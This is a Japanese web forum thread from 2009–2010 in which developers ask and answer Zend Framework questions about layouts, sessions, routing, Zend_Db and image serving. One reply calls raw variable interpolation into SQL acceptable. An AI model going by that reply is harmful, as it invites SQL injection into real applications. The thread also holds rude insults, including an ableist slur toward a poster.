レイアウトの管理をどうしたら良いか相談です。 ヤフーみたいな左がメインカラム、右がメインカラム(内容は左の内容に連動)というレイアウトのとき、 レイアウト管理や右カラムのコンテンツの生成はどうしたら良いでしょうか? Zend_Layoutがありますが、あれって各コントローラ側から変数を渡して レイアウトスクリプトの中身をパターン分けすることって出来ますか? 東京の店舗の紹介をしてるページなら、レイアウトスクリプト部分も東京の関連情報を表示するとか。 というか、今参考にしてる本(ZFW徹底入門)を見ると、レイアウトスクリプトは全く静的なモノって印象ですが そこに動的な要素を加えることは出来るんでしょうか? 皆さんは、各ページで共通部分のテンプレート化、またテンプレート部分に動的要素を加える方法、 それぞれどうしてますか? すみませんがご意見お願いします。
647 :
646 :2009/11/11(水) 20:41:49 ID:0BFUpwQj
もしかして、テンプレート領域なのに動的に変化させようってのがおかしいのかな? でも、完璧に静的な部分なんて今時のwebアプリにあるのか怪しいしなぁ。。
Viewスクリプトも使えよボケナス
>>647 スクリプトってのは動的なんだよボケナス
どうしてその本を見てレイアウトスクリプトが静的だと理解したのか理解に苦しむ 同じ本持ってるけど
静的を性的と思っているから?
グーグル巡回で死にそうなサイトだなw 動的に変更しなきゃ逝けない頻度を詳しく調査して、可能な限り静的で済ませたほうが共用レン鯖の負荷は軽いよ。
誰もそういう話はしていないが
654 :
nobodyさん :2009/11/13(金) 12:33:09 ID:DRo8fFM6
646=652=軽い池沼 あまり相手にしないほうがいいとおも
655 :
age :2009/11/13(金) 16:57:28 ID:c9uuCv2R
Zend_Service_Amazon_CustomerReviewについて質問。 reviewerを取得できないのですが、ReviewerのNameを取得する方法 はあるのでしょうか。
Zend_Service_Amazonはいつになったら署名に対応になるんだろ
ちらっと見た感じ使えそうだけどな コンストラクタの第3引数をセットすれば。 @paramの説明は無いけどねw /** * Constructs a new Amazon Web Services Client * * @param string $appId Developer's Amazon appid * @param string $countryCode Country code for Amazon service; may be US, UK, DE, JP, FR, CA * @throws Zend_Service_Exception * @return Zend_Service_Amazon */ public function __construct($appId, $countryCode = 'US', $secretKey = null)
リファレンス本が欲しい
すぐ仕様が変わるのに本は無駄。 ソースコード見て使い始めちゃったほうが。 ヲレリファレンスウェブをzendで作ればいいじゃんw
660 :
nobodyさん :2009/11/22(日) 12:47:29 ID:Q6zaAGKZ
仕様は増えることはあっても減ったり変わったりはあまり無いと思う。 ドキュメンターで自動的に作ったリファレンスもあるけど、API(引数)知りたい ぐらいの事だったら確かにソース直接見たほうが早いよね。 それよりもquickstartをもっと充実させてほしい。
ヲレクイックスタートを後悔すればいいだけでは?
この手のフレームワークにクイックスタートが必要なのか疑問
663 :
nobodyさん :2009/11/22(日) 20:53:21 ID:Q6zaAGKZ
好き勝手にZFWを使ってたら、ぜんぜんMVCじゃなくなってたでござる
入門としてクイックスタートは必要だよ。 俺はZendがPHPのフレームワークに触れた最初だったんだが、 どう作ればいいかさっぱり分からなかった。 日本語で書かれた公式ドキュメントは情報少ないしね。 手探り状態でやっていってもいいんだが、時間かかってしょうがない。 最初の1歩くらい導いてほしい。
zendは使い方によって全く別物になっちゃうから指針になるものは必要
そうそう。 なかなか子どもできないなーと思ってたら、違う場所に入れてたなんて こともあるしね。 最初が肝心。
いくらZendといえどもMVCを崩すのは逆に面倒だろw
WindowsでZFを動かしているのですが、ページが表示されるまでやたら時間がかかります。 Windows×ZFの際に、何かボトルネックがある気がします。 ■すばやく表示される ・自宅のVMware上のApache(Ubuntu)で動かすZFアプリケーション ・レンタルサーバー上のApache(Debian)で動かすZFアプリケーション ・自宅のApache(Win)で動かす、ZFを使わないアプリケーション ■表示までに時間がかかる ・自宅のApache(Win)上で動かすZFアプリケーション 上記を総合すると、Win×ZFという環境の場合、どこかに問題が潜んでいる気がするんです。 根本的な原因を探るには、もうちょい切り分ける必要があると思うんですが、 あとどういう検証するべきでしょうか。 教えて、問題解決の達人の誰か!
ZFってrequire_onceが何度も実行されてるから、読み込みが遅いストレージだとその分時間がかかりやすいとか。 あと、include_pathでZFライブラリがあるpath指定が後ろの方にあるためとか。 うちも開発環境がWin上だけど、ZF使ったからって特別遅く感じたことはないな。
670 :
668 :2009/11/23(月) 16:30:46 ID:???
>>669 同一マシン上で、WinとLinux(VMですが)の比較をしているので、
ストレージの問題ではなさそうです。
ゲストOS側で遅くなる、ということならまだありそうですが、ホスト側のWinが遅いので・・・。
include_pathについては、調べたらWin側のが1つ多くなってましたが、
いかんせん1つなので違うと思います。
でもサーバー内の設定から検証してみる必要もありそうですね!
ヒントを得ました。ありがとう。
>>669
672 :
668 :2009/11/23(月) 16:42:15 ID:???
なんか常に遅いわけでもないらしい。
一度リロードを押すと、レスポンスまで10秒ほどかかるけど、
次にリロードしたときは、一瞬で表示される。
何らかのキャッシュまわりが怪しい気がしてきました…。
とはいっても、ZFアプリケーション自体の設定は何も違わないわけですが。
まずSmarty(Zend_Viewから呼んでる)を疑って、キャッシュを消してみたけど、
特に変わらなかった。(早いときは早いし、遅いときは遅い)
DBについてはphpMyAdminとか使ってる限りはサクサク動くからこれも違うらしい。
やっぱりphp.iniとかhttpd.confとか探らなきゃダメなのかも…。
>>671 ただ単に開発環境での作業効率が落ちるからイライラしているだけで、
肝心の本番サイト自体はサクサク動くから、必ずしも大きな問題ではないわけで、
飽きて諦める可能性も大w
あんまり期待はしないで。
VM上では問題ないと言うことなので外していそうですが、 アプリ上で名前解決を行っていて、DNSからうまく引けていないとか。 はたまた、Win上にあるApacheやPHP本体が保存されている場所が たまたまHDDが腐りかけているとか。 WinVistaやWin7ならUACが絡んでいたり? include_pathは数よりもその順序な。ZFが先頭になかったら、先頭に持ってきてみて。
Winには特別なソフトいれてないかい? Win+ZendFW+Smartyでシステム構築してもなんら問題なく動いてるよ。
675 :
sage :2009/11/23(月) 17:46:58 ID:???
applicationフォルダとかないよ どこにあるの?><
677 :
nobodyさん :2009/11/23(月) 18:19:43 ID:SQwNDPch
まそんなのは、再現してる限り必ず解決できる問題なので置いとくとしても。 こっちのほうが気になるんだよなあ なんでSmarty使ってんの? 好んで使ってんの? バカなの?
PHP使っている馬鹿がそれを言うのかw
ソースから再コンパイルして無駄な機能はそぎ落とさないとなあ。 unix系ならそういうの自動で遣ってくれてる。
680 :
nobodyさん :2009/11/23(月) 22:52:45 ID:EC5WPStk
質問させてください。(phpスレで聞いたらスレ違いと言われた話題なんですが)
ユーザー:山田さんの情報を表示するパス、localhost/user/index/uId/yamada をルーティングで
localhost/yamada とすることが出来ると思いますが、手順をどうすべきか悩んでます。
こういう場合このユーザ名(yamada)とコントローラ名がぶつかったらルーティングできないですよね?
※yamadaコントローラがあったらパラメータなのかlocalhost/yamada(/index)へのアクセスなのか
わからないから。
と言うことは、
1)ユーザー名の登録の時に、既存のコントローラーとかぶる名前の入力を禁止する
2)ルーティング時に、uId(yamadaなど)を一つずつコントローラ名と照合
3)照合してぶつかってなければルーティング
という手順で実現するしかないんでしょうか?
もっと賢いやり方はないでしょうか。
また、サブドメインにユーザ名を入れた
http://yamada.hoge.jp/で http://localhost/user/index/uId/yamadaと 同じアクションを実践する処理をいちいちhttpd.conf?を操作するのでなく自動化することは出来ないでしょうか。
(zendFWの機能で。)
長くなりましたが、回答お願いします
>>680 どっちもできますよ、簡単に。
そんなに上手に質問できるのにリファレンスを読まないなんて。。
まあその辺の説明は、確かにちょっと読み辛いですが。
>>678 jsp + smarty で何かいいことありますか? と同じ質問なのでは
>>664 ボランティアだと面倒見切れないので有料になるけど、何万円ならOK?
はいはい
Zendに手をつける前に、Cakeを学んできた方がいいですか?
いや、Zendをやりたきゃすぐやったほうがいい。 PHPのフレームワークなんて学ぶってほど難しくないし。 てか、なぜCakeが?
Zendは、テンプレートファイルでPHPの終了タグを省略するから、Eclipseで書いてると文法エラー出まくりになる...orz Cakeはそんなことない
Eclipse使わなきゃいいだけ viでゴリゴリ書け
Eclipseってしょぼいんだな。
アラートの設定も知らないでEclipseを使ってる人って初めて見た
別に省略しなくてもいいんじゃないの 俺は省略してないけど
省略することが推奨 ?> があることによるケアレスミスを防げるから
?>云々はZendというよりPHPの仕様だからどっちでもいい
cronで某所のhtmlファイルをZend_Http_Clientを使ってダウンロードしてるんだけど、php5.2.9 から php5.2.11 にアップデートしたら 'Invalid chunk size "" unable to read chunked body'って例外がでて半分くらい取得出来なくなったんだ。なぜだろう? CentOS5.4 x64 で、phpはソースからコンパイル
chunk sizeがInvalidなんだろ
確かにそうだね…どうすれば、だったね。 まあ、アップデートしなければいいわけだけど、今後もそうだと困るし
情報弱者が多いな。この仕事向いてないから転職したらw
今の時代ググれば何でもでてくる。
もって4,5年ってとこか
この仕事に未来はないな
702 :
nobodyさん :2009/11/27(金) 14:39:48 ID:yRRBxbeQ
>>691 ?>があることによるケアレスミスってどんなの?
<?php if (false) { $ret = "俺は天才"; ?> } else { $ret = "俺はバカ"; }
>>703 噴き出したw
そんなの普通に気をつけてればオッケーだろ〜
>>702 ?>以後にある空行が出力されて、header()でエラーが出るとか。
>>705 なるほど…他にもあるかな
もっと勉強しなきゃいけないな、ありがとう
>>701 考え方次第だと思う。
東南アジア諸国との間のブリッジSE に転向してみては?
口以外は営利活動で出すんでしょ
707が焦ってるようで吹いたwwwwww
713 :
nobodyさん :2009/11/28(土) 17:51:29 ID:XeoSRoiL
$session = new Zend_Session_Namespace('test'); セッションの値を読み込むとき、スクリプトごとに 毎回 new でインスタンスつくんないといけないの? $_SESSION みたいに使えないの不便じゃない?
オブジェクト指向完全否定ですか
見ていて思うけど、皆さんストレスたまっている?
こんなフレームワーク使ってるからストレス溜まるんだよ
フレームワークじゃなくてPHPのせいじゃないのかね
そんなPHP上のフレームワークだからイライラしてるんだ。…あれ?
>>713 $controller->session->xxxxx でアクセス出来るようにでもすればいいんじゃないの。
$_SESSIONより遙かに便利。
使うときだけインスタンス立ち上げるようにしないとか流石PHPプログラマだな
WEBプログラミングってちょっと勝手が違うじゃなん
>>709 IRC の #zftalk.dev でコミットログも分かるから、一度見てみることをお勧め
>>720 セッション使うなら99%インスタンス作るだろw
724 :
nobodyさん :2009/12/03(木) 21:49:45 ID:3lsXGt7/
ちょうどZend_Sessionの話題が出てるんで質問させてください。 フォームの入力>確認>修正という画面遷移でZend_Sessionを使いたいです。 そこで、確認画面でクエリ情報を丸ごとセッションに入れて、 その後の修正画面にセッション情報を持ち越したいんですが上手くいきません 以下の手順でおかしいでしょうか? class FormController extends Zend_Controller_Action { public function init(){ } public function indexAction(){ $params = $this->getRequest()->getParams(); $mode = $params['mode'];//入力画面モード(入力、確認、修正)を確認 if(!$mode){//入力画面 $sess1 = new Zend_Session_Namespace('form'); } if($mode == "確認"){//確認画面 Zend_Session::start(); //セッションに送信値をまるごと格納---#1 $sess1->postAry = $params; var_dump($sess1->postAry);//これは中身がある } if($mode == "修正"){//修正画面 Zend_Session::start(); //↓これがNULLになっています。#1の値が入ってるつもりだったんですが var_dump($sess1->postAry); } } } 単純なことかもしれませんが、ハマってしまいました。宜しくお願いします。
えっと、変数はですね・・・オブジェクトを格納した・・・ リクエストのmodeで判定しちゃうとですね・・・ とりあえず、 var_dump($sess1); をまずはやってみたら? それから、関係ないけど$this->_getParamsというのもある。
おまえら、ZendFrameworkベースのlivecommerceなるものが出たぞ。
727 :
nobodyさん :2009/12/03(木) 22:42:25 ID:3lsXGt7/
>>725 早速ありがとうございます
$modeってのは<input type="submit" name="mode" value="修正" />みたいに
フォームのボタンとして設定されているパラメータなんです。確認画面/修正画面などシーンの判別は上手くいっています。
それとは別の問題だったらすみません。説明不足だったかもしれないです、すみません。
var_dump($sess1);のテスト、やりました。
if($mode == "確認"){
Zend_Session::start();
var_dump($sess1);以下略
でも
if($mode == "修正"){
Zend_Session::start();
var_dump($sess1);以下略
でもNULLです
これって、画面遷移した時に入力画面の $sess1 = new Zend_Session_Namespace('form'); で作ったオブジェクト($sess1)は
消えてるからNULLで当たり前ってことですよね
?
だとしたらなぜ 確認画面で実行してる $sess1->postAry= $params;がエラー起こさないんでしょうか。
うーん、わからない。どうやったら各画面にセッションデータを引き継げるんでしょうか?
Zend_Session::start();しておけば、名前空間オブジェクト$sess1を引き継げると思ってたんですが
そうではないってことは間違ってないですよね…?
728 :
727 :2009/12/04(金) 00:55:54 ID:???
解決しました
セッション値読み込む度にインスタンスつくるって仕様だったんですね
>>713 さんからの流れを地道に確認してれば済むことだったのに予想外過ぎて…
スレ汚しすみませんでした
729 :
nobodyさん :2009/12/09(水) 17:18:54 ID:anat6YPp
731 :
729 :2009/12/09(水) 21:04:55 ID:???
>>730 申し訳ございません
このサイト、どのように使えばいいのでしょうか?
以前
>>1 に書かれていたので行ったのですが使い方が分かりませんでした
MSDNやJavaDocとかと使い方ほぼ同じだろ
中小規模サイト向けって言ってるけど意味不明 どういうこと? 機能のことを言ってるの?
意味不明なら素直に従っておけばいいのでは いろんなフレームワーク使って作っているうちに解るよ ちなみに一人で全部やるなら何使っても同じ
中規模って言っても素人が想像する大規模サイトくらいのことだから問題ないよ 大規模ってのはそれこそYahooとかあんなレベルだから ECサイトとかオークションとかあんなくらいなら普通に中規模
フレームワークが必要だな、と感じたら中規模以上
必要と感じるのは能力次第な事も有るから何とも。 PEARだけでSNS作っちゃうスーパマンも居るだろうし、フレームやCSS生成にフレームワーク必須レベルも居るだろうし。
技術力あるからフレームワーク使わないとか そう言うことじゃないと思う
741 :
nobodyさん :2009/12/11(金) 12:33:25 ID:JAvSDZev
フレームワーク使うと約束事ができるから、ある程度人数多くても管理しやすい。
>>741 それはあるね。
でも、新しいフレームワーク使うときは教えるのに一苦労。
後輩からちょっと変わったこと聞かれて、
「今忙しいから後でいい?」
と答えたくせに、裏で必死こいて調べるとかw
先輩面すんのも楽じゃないぜ。
えっマニュアル充実してるじゃん 調べたら解るから自分でやりなよ でいいのでは Symfony除く
そりゃマニュアルに書いてあることならググレカスで終わりだけどさ、 いろいろやってると訳わからん不具合も出てくる。 システム担当者が俺だから責任持ってやらんとならんのよ。
>>744 別にあなたがシステム担当者とか誰も知りたくないです。。
プログラマなら自分で解決できないとなんの成長もせんだろ 不具合出るたびに担当者に投げるプロジェクトってなんだよw
別に不具合出るたびに聞きに来てるわけじゃないよ。 それにすぐこの業界は「自分で調べないと成長しない」というけど、 会社としてチームとしては聞きにきてくれたほうがいい。 そうすればたいがい10秒で終わる。 仕事時間が増えれば体力を消耗するし、残業になれば余分に金がかかる。 自分で長い時間かけて問題に取り組めば知識や技術が身につくが、 そんなもん会社でやるべきことじゃない。 少なくとも忙しいときにそんなことやってはいけない。 なぜなら会社は利益を上げることが第1の目的だから。 会社で新人がまず学ばなきゃならないのは、どうやって金を稼ぐかってこと。 日本のIT業界に関係する人間はその部分が弱すぎる。 コスト計算さえできないのにSEを名乗ってるバカが多すぎなんだよ。んったく。 おっと私怨失礼。
>>747 なら最初っから、身についてる奴を雇えよ (笑)
View Helperを継承したクラスで、View Helper呼び出し元のViewを参照する事はできますか?
ViewHelperにsetViewが実装してあれば、Zend_ViewはsetView($this)してくれる
ビュースクリプトで public/images/hoge.jpg を表示させたいのですがうまくいきません コントローラーで表示させないといけないんでしょうか?
<img src="public/images/hoge.jpg">
<img src="/images/hoge.jpg"> publicディレクトリはドキュメントルートじゃないの
755 :
752 :2009/12/13(日) 03:51:18 ID:???
>>753 >>754 返答ありがとうございます.でもやっぱりできませんでした.
ディレクトリの構造はZend Framework推奨のものにしています.
画像だけならコントローラー内で
$response = $this->getResponse();
$response->setHeader('Content-Type', 'image/jpeg');
$response->setBody(file_get_contents('./images/temporary-closed.jpg'));
で読み込めたんですが
これだとビュースクリプトの内容が表示されなくて困ってます.
756 :
752 :2009/12/13(日) 03:54:25 ID:???
>>755 ミスです
コントローラ内の画像がhoge.jpgでした
$response = $this->getResponse();
$response->setHeader('Content-Type', 'image/jpeg');
$response->setBody(file_get_contents('./images/hoge.jpg'));
あたりまえだろ… どこから説明していいか迷うわ
これはひどい
ワロタ もし本気ならContent-Typeはultipart/mixedだぞw
なんかもうね。 こういうのが聴いて来られても無駄に成るだけのタイプ。 自分で調べないから、成長しないしねえ。仕事出来る人の時間を消耗するだけだから、チームとしてのパフォーマンスが堕ちる。
762 :
752 :2009/12/13(日) 20:50:29 ID:???
調べてもわからなかったので質問してみたんですが. もっと勉強してからにします. 変な質問してすみませんでした.出直してきます.
いや、いい質問だったと思うよ ZFでドキュメントルート外の画像等に認証を書けたり、画像を変換してから 送出する方法を知りたいわけでしょ。 Cakeでもそういう話は出てくるけど、重いからねぇ、その処理。 ちなみに、ZFのResponseオブジェクトは標準ではバイナリは扱えないから、 オレオレResponseオブジェクトを作ればいい線いくと思う。
Controller内で $this->_helper->viewRenderer->setNoRender() Layout使ってるなら $this->_helper->layout()->disableLayout() すれば何の問題もない。 バイナリ使えないとかいっちゃうおじさんの話は聞いちゃだめ。
>>764 はぁ?
Zend_Controller_Response_AbstractでStringにキャストされるんだが、
それでも、sendResponseで画像が送れるとでも?
>>766 え、、俺のサイトで何の問題もなく送れてるけど。。
そもそも文字列(バイナリ)を文字列にキャストして別物になるとか、、
だいじょうぶ?
<?php
$file = file_get_contents('
http://www.google.co.jp/intl/ja_jp/images/logo.gif ');
echo md5($file)."\n";
echo md5((string)$file);
/*
4ecc2708ed3a513b22f7ca108a96fc0c
4ecc2708ed3a513b22f7ca108a96fc0c
*/
ちょっと小学校からやりなおしてくるわ。
>>766 質問者も画像は出てるんだろ
でないのはビュースクリプトの内容であって
だからみんなスクリプトにimgタグ挿差込めって最初言ってたわけで
ZF2.0って何か劇的に変わるの?
PHP5.3のnamespaceに移行予定。 過去のバージョンとの互換性は完全に無くなる。
PHP5.3が安定稼働するのはあと1年はかかるだろうから、しばらくは安心。
ZFってやってみて気付いたけど何かPEARみたいだね
ZFってほかのフレームワークとは違うからね Cakeは画期的でphp知らない人を対象にした感じだったけど ZFはphpが出来る人を対象にしたような印象だった
アクションコントローラで、モデルに処理させた結果を$this->viewに代入していて、 この値を以下のようにビュースクリプト内で条件分けして表示したりしなかったりしてるんですが、 <?php if ( $this->hogeflag ) { ?> <!-- # 表示するものがあるなら--> <?php echo $this->hogemsg ?> <?php echo $this->hogemsg2 ?> <?php echo $this->hogemsg3 ?> <?php } else { ?> <!-- # 何も表示しない--> <?php } ?> これを、どのページでもやりたいって思いました。 この場合、全部のアクションコントローラに、 モデルの結果を$this->viewに代入っていう処理を追加していかなきゃいけないのでしょうか? アクションごとってのはさすがにあれなので、コンストラクタで行ってしまうとか? いいやり方が無いかなぁと思って、 自作ビューヘルパを作って、モデル呼ぶのとか上記部分を中でやるってことも考えたのですが、 これだとページのデザイン変更時にビュースクリプトではなくビューヘルパの方を変えないといけなくなってしまうので デザイナーの方が困るようです。 何かいい方法ありますでしょうか?
initでやりゃいいじゃん 複数のコントローラに跨がるならスーパークラス作る
>>775 じゃないんだけど、もっと詳しくお教え願えませんか?
似たようなレイアウトのページをいくつも作らないといけない場合、
今はビューヘルパのスーパークラスを作って、継承したサブクラスでページを出力しているんだけれども、
もっとスマートか方法があるんじゃないかなと常々思っていまして。
778 :
775 :2009/12/17(木) 13:06:25 ID:???
全てのコントローラのinitに書くのはどうかと思うので、 スーパークラス化というのですか?共通の基底コントローラを挟もうと思います。 ※基底コントローラ class DefaultController extends Zend_Controller_Action { public function init() { // 共通初期処理 $model = new GetHogeModel; $this->view->hogeflag = $model->getflag(); $this->view->hogemsg = $model->getmsg(); $this->view->hogemsg2 = $model->getmsg2(); $this->view->hogemsg3 = $model->getmsg3(); // 継承先初期処理へ $this->init2(); } public function init2() { } } ※他のコントローラ class IndexController extends DefaultController{ public function init2() { //コントローラごとの初期処理 } public function indexAction() { echo $this->view->render("hoge/index.html"); } } こんなイメージでいいんでしょうか???
init2はいらない サブクラスでinitをオーバーライドして、オーバーライドしたinitメソッド内でparent::initすればいい
780 :
775 :2009/12/17(木) 14:41:47 ID:???
>>779 なるほど!オーバーライド先で親のinit()を見るにはこうするんですね。
ありがとうございます。
Bootstrapのがいいんじゃないの?
基底コントローラ作るのってあまりスマートじゃないよね
>>782 そう?
抽象クラス作って共通処理を固めた方が同じコードを何度も書かなくて良いと思うけどなぁ。
オブジェクト指向的な発想だよね 他のオブジェクト指向なフレームワークや言語でも応用できる方法だから あんまりZendべったりじゃなくて俺は好きだ
OO設計ではなく楽するためのOOPだがな
楽をしないで何がOOPじゃい
より簡単により柔軟により効率よくという発想で プログラミングは発展してるじゃん。 楽したいと思うのは当然のことだ。 いや、プログラマの権利だね!
ZFでHTML Purifierみたいな機能ってある?
HTML Purifierを使えばいいのでは
よくみたらfilter_StripTagsなんてのを見つけた
794 :
nobodyさん :2009/12/29(火) 16:05:32 ID:VOALtVVE
エラー処理のやり方がさっぱりわからないので、ヒントか概要か何か 教えてください。 ZendDB使ってfetchallとかした場合に SQLエラー、DBエラー、正常終了だけどゼロ件 など考えられますが、その処理の分け方がよくわかりません。
>>794 try-catcheでZend_Db_Exceptionをとれば分かると思うが
俺はSQLエラーとDBエラーの区別まではやってない
データ無しは返り値をcount()すればよいかと
796 :
nobodyさん :2009/12/29(火) 17:42:55 ID:VOALtVVE
>795 レス感謝。 Zendといってもやり方は普通でいいんですね!
ZendFWで作られてるLiveCommerceってソースがオープンなんだね。 他人の設計を見ると、いろいろ参考になるな。
使う時にソースがオープンじゃないPHPスクリプトなんてあるのか
>>799 Zend Guardってのがあってだな。
dezendで糸冬
802 :
nobodyさん :2010/01/01(金) 16:40:50 ID:A1Hlzrb8
zend_applicaton使ったらなんだろ、ことしの汚いソースがすべてきれいになった 来年もよろしくなぁ!みんな ありがとうZendFramework!!!!!!!!!!!!!!!!!!!!!!!!!!
俺なんか宝くじに当たって彼女ができて 札束の風呂に入ってウシシな状態。 これもそれも全部zendのおかげ。
高橋名人か
805 :
nobodyさん :2010/01/01(金) 22:45:55 ID:A1Hlzrb8
彼女できますに! ZendFrameworkさんお願いします。
806 :
nobodyさん :2010/01/02(土) 03:21:31 ID:I6hjNCgm
Zend_Applicationにてハマってます。 僕も奇麗なコードにしたいです。 module構造でDefault, Adminというモジュールを作成しています。 DefaultにはDefault_Bootstrapクラスとして Zend_Application_Bootstrap_Bootstrapを継承し、 AdminにはAdmin_Bootstrap.phpクラスとして Zend_Application_Module_Bootstrapを継承しています。 両方とも_initから始まるメソッドを定義しています。 上記の状態でブラウザからDefaultモジュールにアクセスすると AdminモジュールのBootstrapまで動いてしまいます。 動き的に期待しているのはそのモジュールのみのBootstrapが 動いてくれればと思っているのですが、うまくいきません。。 皆様、どうやって使用してますか?
807 :
nobodyさん :2010/01/02(土) 11:34:18 ID:2ObkH84V
モジュールはわからんが
リソースプラグイン
moduleControllerDirectoryName (アプリケーションがモジュールに分割されている場合)アクションコントローラが設置されているサブディレクトリ名を指定
moduleDirectory (アプリケーションがモジュールに分割されている場合)モジュールが設置されているディレクトリ
ttp://codezine.jp/article/detail/4366?p=4 会員にならないと見れないかも
808 :
nobodyさん :2010/01/02(土) 11:37:43 ID:2ObkH84V
続き 設定ファイルに設定を記入する際、 フロントコントローラーを生成するリソースプラグイン 項目名 説明 controllerDirectory アクションコントローラが設置されているディレクトリ名を指定。ただし、アプリケーションが複数のモジュールから成る場合には、配列で(モジュール名)=>(ディレクトリ名)という形で指定 moduleControllerDirectoryName (アプリケーションがモジュールに分割されている場合)アクションコントローラが設置されているサブディレクトリ名を指定 moduleDirectory (アプリケーションがモジュールに分割されている場合)モジュールが設置されているディレクトリ
>>802 16時間で書いた分量なんてたかが知れてるだろ
811 :
nobodyさん :2010/01/02(土) 23:47:45 ID:I6hjNCgm
>807さん >808さん >809さん 教えて頂いてありがとうございます。 もしかしたらですが、自分はBootstrapの使い方自体を間違えているのでしょうか? 期待しているのは各モジュールのBootstrapに_initLayoutというメソッドを追加し、 そこでモジュール毎のlayoutファイルを変更したいと考えています。 こういう使い方、そもそもBootstrapにて記載しないほうが良いのでしょうか? _initAutoload()のような感じでモジュール毎のクラスを自動読み込みするような 処理のみをBootstrapには記載したほうが良いのですかね?
812 :
nobodyさん :2010/01/03(日) 00:00:40 ID:quLBmdEY
application.iniで下記を指定していた為でした。。 resources.modules[] = お騒がせしてすいません。。
>>811 ZFに限っていえば、その辺の作法は自由でいいんじゃないかな。
他のフレームワークの多くはFWが用意するアーキテクチャ以外は邪道だけど
ZFの場合はアーキテクチャが緩いから、自分好みに設計すればいいよ。
ただ、モジュール別のレイアウトファイルを使うだけなら、
モジュール別Bootstrapというより、Layoutパスの与え方だけで済むと思う。
814 :
nobodyさん :2010/01/03(日) 23:51:26 ID:GumIc7qR
My_Application_Resource使ってサイト名とか連絡先とかの 共通設定みたいなので My_Application_Resource_Configって作ろうとしたら init()が呼び出されないんですけど Configって名前なんで使えないんでしょうか?
815 :
814 :2010/01/04(月) 00:14:31 ID:???
つかえました Bootstrap.phpに_initConfigがいたせいでした ごめいわくおかけました
816 :
nobodyさん :2010/01/05(火) 04:24:32 ID:OIqW2mkQ
Zend_FormにFilterで2chの名無しさんみたいに 空白の場合は「名無しさん」になるようなことをしようとしたのですが そうするとgetValue()がフィルターを通す関係で デフォルトの空白が「名無しさん」に変換されてしまいます これを打開するにはどうしたらよいでしょうか
Filterでやるもんではなくね?
>>816 のってフィルターの役割じゃないんですか?
じゃあやめることにします
ありがとうございました
819 :
nobodyさん :2010/01/07(木) 09:06:02 ID:7Y5nOQnh
みんな、zend_dbで定型のクエリ書いてますか? ↓こういう風に $db->fetchAll( "SELECT hoge FROM hoget WHERE var = :v", array('v' => 'Sir') ); どうも不慣れというか面倒なので普通に SELECT hoge FROM hoget WHERE var=$v とかのクエリ書いてしまってるけどこれだとどういう問題があるんでしょうか? SQLインジェクション対策を自前でやらなきゃいけなくなるってことですか?
抽象化が必要なシステムと必要のないシステムがあるからね exprを動的に投入しないならどっちでもいいわよ。好きにして
821 :
nobodyさん :2010/01/07(木) 14:02:33 ID:7Y5nOQnh
>>820 どうもありがとう
もう一つ聞きたいんですが、バーチャルドメインで siteA.com, siteB.comの2つを運用してて
両方でzendFWを利用する場合どうしたら良いんでしょう?
FWのソフトのインストールを一つだけし、それぞれのフロントコントローラでapplicationディレクトリを
別々に指定すれば独立したアプリケーション構造を持たせることが出来るんでしょうか?
> FWのソフト 微妙に意味がわからないが、エスパーしてみると。 モジュールを共有しないで独立で作成するなら、 moduleディレクトリを独立で作成してエントリポイントで振り分けるといいかも。 モジュールを共有するなら、ドメインでルーティングするだけでOK つ Zend_Controller_Router_Route_Hostname
823 :
821 :2010/01/07(木) 16:22:54 ID:7Y5nOQnh
>>822 ありがとうございます。
なるほど、ドメインでルーティングすることが出来るのか〜。助かりました。
では、さらにまた少し違う質問ですが siteA.comで携帯版サイトを作るとします。
ドメインは mobile.siteA.comです
この場合、apacheの設定でサブドメインでフォルダ振り分けという良くある方法と
zendFWのルーティングでコントローラ名(mobile)を実行する方法とどっちが良いんでしょうか?
この2つはどう違うのか、そもそもわからないんです…
フォルダ振り分けってことは、zendFWが動いてる以上任意のコントローラーに委譲することとほぼ同じですよね?
(mod_rewriteの例外指定してなければ)
現在、コントローラ(仮にmobileコントローラ)に委譲するのが気が進まないのですが、その理由として
PC版サイトに profileコントローラ(indexアクション/editアクション)、searchコントローラ…て風に
複数コントローラがあってそれを携帯版でも実現しようとすると、コントローラはmobileコントローラで
「固定」(確定?)しているために、PC版で独立したコントローラとして動いてたものをその中の細かいアクションとして
動作させなきゃいけない気がするためです。
profileコントローラのindexアクションは -> profile_indexアクション(mobile.siteA.com/profile_indexにアクセス)
searchコントローラのshopアクションは -> search_shopアクション(mobile.siteA.com/search_shopにアクセス)
…と言う感じに。。
つまり、全部のコントローラとそのアクションを全部mobileコントローラにまとめて書かなきゃって
思い込んでるんですが、勘違いでしょうか? 解決方法あれば教えてもらえると嬉しいです。
長くてすみませんが宜しくお願いします
あと、
>>822 さんに教えていただいたドメインを使ったルーティングって、ドメインが存在してないと
テストできないのですか?
自宅サーバのlocalhostで動かしている環境で、この機能を試すことは出来るんでしょうか?
> 自宅サーバのlocalhostで動かしている環境で、この機能を試すことは出来るんでしょうか? hostsに書くといいよ
825 :
821 :2010/01/08(金) 03:09:11 ID:???
>>824 凄い! hostsなんて知りませんでした。疑問がわいた部分もありますが、それは別板で質問します。
>>823 の前半部分の、
「apacheの設定でサブドメイン用ディレクトリにリンクさせるのと、任意のコントローラにroutingする場合の違い」
「mobileコントローラに全部のコントローラ+アクションをまとめて記述しなきゃダメなのか?」
という部分はどうなんでしょうか?
繰り返しですみませんが、気が向いた方回答いただけると嬉しいです
>>825 モバイル版でもPC版と全く同じコントローラ/アクションを使用したいのであれば、
コントローラ自体はPC版と共有し、ビューのみモバイル版を用意すればいい。
PCとモバイル版でロジック自体が変わるのであれば、mobileコントローラを作り必要なアクションを記述する事になるかと。
ページ数が多いのであれば、Mobileモジュールにしちゃうかな・・・
PC版と共有する処理は基底クラスに記述しておき、両方のモジュールから使用出来るようにしておく。
>apacheの設定でサブドメイン用ディレクトリにリンクさせる〜
複数ドメインで同じシステムを使い回す場合、
ルーティング処理で振り分けるか、ブートストラップをドメイン分用意して処理をわけるかしか無いんじゃ?
難しく考えすぎている気がするw
827 :
821 :2010/01/08(金) 16:53:52 ID:???
>>826 ほんっとうに助かります、勉強になりました
勉強して実践してみたいと思います、ありがとうございました
828 :
nobodyさん :2010/01/08(金) 23:32:05 ID:FFzCAEUM
